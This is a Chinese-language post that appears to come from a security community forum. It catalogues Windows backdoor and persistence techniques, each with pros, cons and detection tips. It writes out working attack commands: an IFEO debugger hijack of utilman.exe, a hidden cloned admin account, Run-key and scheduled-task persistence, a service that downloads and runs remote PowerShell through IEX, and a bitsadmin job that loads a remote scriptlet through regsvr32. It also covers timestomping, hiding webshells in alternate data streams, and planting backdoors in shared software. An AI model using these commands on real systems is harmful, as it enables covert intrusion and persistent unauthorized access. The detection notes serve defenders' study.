TL;DR

  • Definition - What does Persistence mean?
    Persistence refers to object and process characteristics that continue to exist even after the process that created it ceases or the machine it is running on is powered off. When an object or state is created and needs to be persistent, it is saved in a non-volatile storage location, like a hard drive, versus a temporary file or volatile random access memory (RAM
  • 这里把自己认知里面的一些windows backdoor和persistence的方式方法总结一下,并尽量持续更新。

常见backdoor和persistence方式方法

系统工具替换后门

  • 顾名思义就是替换系统自带的可执行文件进行利用,有直接替换及通过注册表替换方式,直接替换不用解释,本地编译好直接复制替换即可,当某个行为行为触发执行这个可执行文件的时候,后门即被执行(早期的粘滞键后门(即shift即是直接替换后门)​,注册表的话可以通过以下命令实现任意可执行文件的劫持。
    Image 劫持辅助工具管理器
    REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\utilman.exe" /t REG_SZ /v Debugger /d "C:\windows\system32\cmd.exe" /f

  • 类似的程序有osk.exe、Narrator.exe、Magnify.exe等。
  • 优点:简单
  • 缺点:易被检测
  • 排查:工具autoruns
  • 20191016更新
    参考文章打造不一样的Shfit映像劫持后门
    用到了windows sdk里的gflags.exe工具(工具下载地址),这个工具里面有个silent process exit功能,大意是在调试某个程序静态退出的时候可以关联绑定某个程序去静默执行,工具对注册表一些键值进行了修改,此外通过autoruns工具检测不出来。

后门账号

  • 创建克隆administrator账号,且通过命令net user 以及控制面板中的管理账户无法看到。
    1.创建后门用户
    net user defaultuser0$ somepasswordhere /add /y
    net localgroup administrators defaultuser0$ /add
    net localgroup "remote desktop users" defaultuser0$ /add
    2.之后将administrator用户对应的Users中的F值复制替换后门账户的F值

    3.导出User下面的后门账户以及name下面的后门账户两个文件。

    4.通过命令删除刚才的后门用户
    net user defaultuser0$ /del
    5.通过注册表导入刚才保存的两个注册表

  • 参考文章 Windows系统的帐户隐藏

明文账号记录

  • 安全支持提供程序(SSP)是Windows API,用于扩展Windows身份验证机制。 LSASS进程在Windows启动期间加载安全支持提供程序DLL。这个时候攻击者可以将精心构造的dll加载之,这个dll可获取到lsass进程中的明文账号密码信息。mimikatz(mimilib.dll或memssp内存补丁方式)实现了这一功能,并把记录到的明文账号密码信息保存在本地。
  • 详见文章Persistence – Security Support Provider

文件隐藏

attrib命令隐藏

  • windows自带命令行工具attrib用来显示或更改文件属性。

    * 优点:简单,一般的工具(D盾)扫描不到
  • 优点:简单
  • 缺点:易发现
  • 排查:使用attrib命令或显示隐藏文件和受保护的操作系统文件即可发现。

使用ADS流隐藏webshell(重点!!)

  • 1993年微软推出了基于流行的NT平台的Windows NT操作系统。之后,NTFS作为WIndows开发基于NT的操作系统时的首选文件系统,逐步取代被应用于旧版Windows操作系统(比如Windows 9x)的文件系统,即FAT(File Access Table)。
  • NTFS中的备用数据流(Alternate Data Stream,ADS)允许将一些元数据嵌入文件或是目录,而不需要修改其原始功能或内容。
  • 在NTFS中,主数据流指的是文件或目录的标准内容,通常对用户可见,而备用数据流(ADS)则隐藏。如果要查看备用数据流,可以使用dir命令的/R选项,或是Windows提供的streams.exe工具,没有可用的API。
  • ADS没有大小限制且多个数据流可以和一个正常文件关联。ADS的内容也不仅限于text文本数据,基本上只要是二进制格式文件都可以被作为ADS备用流嵌入。
  • 使用ADS流隐藏webshell,目前可过D盾扫描,注意ADS的一句话木马无法直接连接,可以使用php的include去包含执行


    文章参考:利用ADS隐藏webshell
    文章参考: Windows ADS在渗透测试中的妙用
  • 此外应该注意修改文件的timestamp,可使用如下的powershell命令或者使用NewFileTime工具
$(Get-Item ).creationtime=$(Get-Date "mm/dd/yyyy hh:mm am/pm")
$(Get-Item ).lastaccesstime=$(Get-Date "mm/dd/yyyy hh:mm am/pm")
$(Get-Item ).lastwritetime=$(Get-Date "mm/dd/yyyy hh:mm am/pm")
example:
Set the last-access time for a file aaa.csv to the current time:  $(Get-Item aaa.csv).lastwritetime=$(Get-Date)
Set the creation time of a file foo.txt to November 24, 2015, at 6:00am: $(Get-Item foo.txt).creationtime=$(Get-Date "11/24/2015 06:00 am")
  • 优点:较难检测
  • 缺点:暂无
  • 排查: dir /r

计划任务

  • windows下可使用schtasks和at命令创建计划任务,其中at命令在新版的windows中已被弃用。
#from https://github.com/diggles9991/MG/blob/master/XMR/Hook.ps1#L12
# Update scheduled Start Task
SCHTASKS /Delete /tn "AdobeReaderUpdate" /f
SCHTASKS /Create /RU "SYSTEM" /tn "AdobeReaderUpdate" /sc Weekly /d * /st 18:00:00 /tr "powershell.exe C:\Windows\System32\drivers\en-US\etc\Line.ps1"

# Update scheduled End Task
# SCHTASKS /Delete /tn "AdobeReaderUpdateEnd" /f
SCHTASKS /Create /RU "SYSTEM" /tn "AdobeReaderUpdateEnd" /sc Weekly /d MON,TUE,WED,THU,FRI /st 06:00:00 /tr "powershell.exe Stop-Process -Name $processname"

# At command
at 1:00AM /Every:Saturday My_BackUp.bat 
在每个Saturday的早上1:00点,定时启动My_BackUp.bat批处理文件。
  • 优点:简单
  • 缺点:易被检测
  • 排查: schtasks /query 命令进行查询或者通过计算机的管理查看,注意在windows的中文版系统中,schtasks命令需要切换字符为美国英语格式,使用命令chcp 437,或者直接工具autoruns。

开机启动项

  • 实现开机自启的方式有很多种(详细大家可以参考autoruns检测项及原理),其中注册表也有好多项可实现开机自启。

    HKEY_CURRENT_USER\Environment
    HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
    HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce
    HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run
    命令
    REG ADD "HKEY_CURRENT_USER\Environment" /v UserInitMprLogonScript /t REG_SZ /d "C:\Users\Administrator\Desktop\mal.exe"
  • 优点:重启权限维持

  • 缺点:一般杀软均会拦截
  • 排查:一个一个手工查太麻烦,建议直接上autoruns。
  • 20191022更新
  • 利用windows原生API去创建regedit.exe不能展示和导出的键值对
  • 详见文章invisible Reg Values,缺点只是通过regedit.exe查看时候有隐藏效果,通过autoruns等工具还是会被发现。

服务

  • Windows服务是指Windows NT操作系统中的一种运行在后台的计算机程序。它在概念上类似于Unix守护进程。Windows服务可以配置为在操作系统启动时运行,并且在Windows运行期间持续在后台运行。服务也可以手动或基于某个事件而启动。我们可以通过运行services.msc查看当前系统的服务情况。
    sc create [ServerName] binPath= BinaryPathName
    例如创建一个名为主动防御的服务。
    sc create "主动防御" binpath= "cmd /c start powershell.exe IEX (new-object net.webclient).downloadstring('http://ip/a')"
    设置为自动运行
    sc config "主动防御" start= auto
    删除服务
    sc delete "主动防御"
  • 优点:重启权限维持
  • 缺点:一般杀软会拦截
  • 排查:工具autoruns

waitfor.exe

  • 不支持自启动,但可远程主动激活,后台进程显示为waitfor.exe
    详细参考
  • 优点:远程主动激活
  • 缺点:有waitfor进程
  • 排查:通过Process Explorer工具查看是否有waitfor.exe进程,并进一步查看启动参数等。

bitsadmin后门

  • Bitsadmin从win7之后操作系统就默认包含,可以用来创建上传或者下载任务。Bistadmin可以指定下载成功之后要进行什么命令。后门就是利用的下载成功之后进行命令执行。
#创建一个下载任务:
bitsadmin /create backdoor
#添加文档:
bitsadmin /addfile backdoor %comspec%  %temp%\cmd.exe
#设置下载成功之后要执行的命令:
bitsadmin.exe /SetNotifyCmdLine backdoor regsvr32.exe "/u /s /i:https://raw.githubusercontent.com/3gstudent/SCTPersistence/master/calc.sct scrobj.dll"
#执行任务:
bitsadmin /Resume backdoor

WMI后门(重点!)

  • 在2015年的blackhat大会上Matt Graeber介绍了一种无文件后门就是用的wmi。更多可以参考
  • 在empire中有相应的module,作者参考使用了Powersploit里面的代码。

  • 后门在系统重启五分钟之内触发且是system权限。
  • 优点:无文件,相对来说难以排查
  • 缺点:暂无
  • 排查:工具autoruns

COM劫持

  • 什么是COM,说白了,就是一堆功能相关的interface,它是某种语言向另一种语言暴露功能的最大单位。
    COMcomponent(COM组件)是微软公司为了计算机工业的软件生产更加符合人类的行为方式开发的一种新的软件开发技术。在COM构架下,人们可以开发出各种各样的功能专一的组件,然后将它们按照需要组合起来,构成复杂的应用系统。
    由此带来的好处是多方面的:可以将系统中的组件用新的替换掉,以便随时进行系统的升级和定制;可以在多个应用系统中重复利用同一个组件;可以方便的将应用系统扩展到网络环境下;COM与语言,平台无关的特性使所有的程序员均可充分发挥自己的才智与专长编写组件模块。
    * COM的最核心的思想,说白了就是要做个跨语言的 “class” “object” “function” 。COM劫持,从根本上来说,就是在程序读取注册表信息中的DLL或者EXE功能的路径上,做一个拦截,让程序提前读取我们的设置好的恶意DLL或者EXE。原理其实和DLL劫持差不多。
  • 可以参考文章COM组件劫持原理与实践打开文件夹就运行?COM劫持利用新姿势
  • 利用CLR实现一种无需管理员权限的后门 "主动型"后门,WMI添加环境变量需要重启系统生效
  • 优点:隐藏性较好,autoruns查不到
  • 缺点:暂无
  • 排查:检查环境变量和注册表键值

meterpreter 权限维持

  • meterpreter中的权限维持技术有两种,一种是metsvc的后门(服务后门),另外一种是persistence(注册表后门)
  • metsvc 是开机自启动的服务型后门

    metsvc代码
  • persistence模块是先上传vbs脚本并执行vbs脚本修改注册表HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run从而完成自启动。


    persistence代码
  • 优点:开机自启动
  • 缺点:容易被杀软杀
  • 排查:像是这种后门使用autoruns基本都可以排查出来。

Empire persistence模块(重点!!)

  • Empire是一款功能非常强大的后渗透攻击框架。其中的persistence模块提供了一系列权限维持方法。
  • 工具还把权限维持分为了四大类,userland(普通权限)、elevated(需要高权限)、powerbreach(内存权限维持,重启后失效)、miscellaneous(其它)。
  • 通过info命令查看使用方法

    更多可以参考文章
  • 优点:基本集成了大部分的权限维持方法
  • 缺点:暂无
  • 排查:工具autoruns

进程注入(重点!!)

  • 准确来说进程注入不是后门技术或者权限维持技术,而是一种隐藏技术,这里简单说一下empire的psinject、cobaltstrike的inject和meterpreter中的migrate进程注入,一般可以注入到像是lsass或者explorer这样的进程当中,相对比较隐蔽,较难排查。
  • 使用方法这里就不介绍了,主要说一下如何hunting。这篇文章TALES OF A BLUE TEAMER: DETECTING POWERSHELL EMPIRE SHENANIGANS WITH SYSINTERNALS里面介绍了如何hunting empire方法,empire有一些evasion detection机制,其中的网络连接时间设置能有效避开常见主机流量检测工具(包括netstat、tcpview)的检测,文章中也介绍了使用process monitor是最快也是最有效的方法。
  • 但是在hunting 进程注入的时候,并没有像文章中说的查找到以起始地址为0x0的线程,但会发现被注入的进程属性里会有.NET Assemblies和.NET Performance两个菜单。如下图所示
  • 优点:较难排查
  • 缺点:暂无
  • 排查:工具process explorer 、process monitor

捆绑后门

  • 捆绑的意思就是恶意程序以一个正常的程序(可以是程序也可以是文件如doc、pdf、jpg等)为载体,当这个“程序”执行的时候恶意程序即可运行。用于捆绑钓鱼的工具有很多,像是BDF应该是比较早的一款工具,但现在好像不怎么免杀了,前段时间看过现在都在用NimFileBinder这个工具进行捆绑,且免杀一些常见杀软,这个主要是利用了Nim这个小众语言做的(类似go,一些小众语言有时能做到很好的免杀)。
  • 参考 利用BDF向EXE文件植入后门
    Kali Linux: Backdoor-factory tool
    NimFileBinder:钓鱼攻击载荷捆绑利器
  • 当拿到内网权限之后,可以在存放公共下载的服务器上给某个软件加上这样的后门。

IIS模块后门

手把手带你开发一款 IIS 模块后门

域环境后门

other

  • 除了以上的几种后门和权限维持技术外还有像是dll劫持、一些软件的插件后门、office后门等。
  • 抛砖引玉,更多windows backdoor方面最新文章可以关注国外安全研究员Casey Smith@subTee和Adam@Hexacorn。
  • 附上本人博客地址,欢迎一起交流学习:> https://kevien.github.io/

Reference

Intranet_Penetration_Tips
Nothing Lasts Forever: Persistence with Empire
EDR检测持久化Persistence入门
smbbackdoor

点击收藏 | 14 关注 | 2
登录 后跟帖